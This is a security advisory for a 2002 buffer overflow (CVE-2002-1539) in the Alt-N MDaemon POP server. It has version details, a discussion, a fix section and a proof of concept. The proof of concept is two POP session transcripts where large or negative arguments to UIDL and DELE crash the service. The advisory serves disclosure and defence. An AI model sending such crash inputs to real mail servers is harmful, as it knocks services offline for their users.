Alt-N MDaemon POP Server Buffer Overflow Vulnerability

BID:6053

Info

Alt-N MDaemon POP Server Buffer Overflow Vulnerability

Bugtraq ID: 6053
Class: Boundary Condition Error
CVE: CVE-2002-1539
Remote: Yes
Local: No
Published: Oct 28 2002 12:00AM
Updated: Jul 11 2009 06:06PM
Credit: Discovery of this vulnerability credited to D4rkGr3y <[email protected]>.
Vulnerable: Alt-N MDaemon 6.0.7
Alt-N MDaemon 6.0.6
Alt-N MDaemon 6.0.5
Alt-N MDaemon 6.0 .0
Not Vulnerable: Alt-N MDaemon 6.5 .0
Alt-N MDaemon 5.0.7
Alt-N MDaemon 3.1.2

Discussion

Alt-N MDaemon POP Server Buffer Overflow Vulnerability

A buffer overflow vulnerability has been reported for MDaemon. The vulnerability is due to inadequate bounds checking on some POP server commands.

An attacker can exploit this vulnerability by submitting a very large integer value to some commands on the POP server. This will cause the MDaemon service to crash when attempting to process the command.

Exploit / POC

Alt-N MDaemon POP Server Buffer Overflow Vulnerability

The following proof of concepts was provided:

+OK somedomain.com POP MDaemon 6.0.5 ready
&lt;[email protected]&gt;
USER blah
+OK blah... Recipient ok
PASS 123456
+OK [email protected]'s mailbox has 0 total messages (0 octets).
UIDL 2147483647
-ERR no such message
UIDL 2147483648
+OK -2147483648 !!! Index 0 is not used
UIDL 2147483649

Connection to host lost.

---

user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1

Connection to host lost.

Solution / Fix

Alt-N MDaemon POP Server Buffer Overflow Vulnerability

Solution:
Alt-N MDaemon 6.5.0 is not vulnerable to this issue.

Fixes available:


Alt-N MDaemon 6.0 .0

Alt-N MDaemon 6.0.5

Alt-N MDaemon 6.0.6

Alt-N MDaemon 6.0.7

References

Alt-N MDaemon POP Server Buffer Overflow Vulnerability

References:

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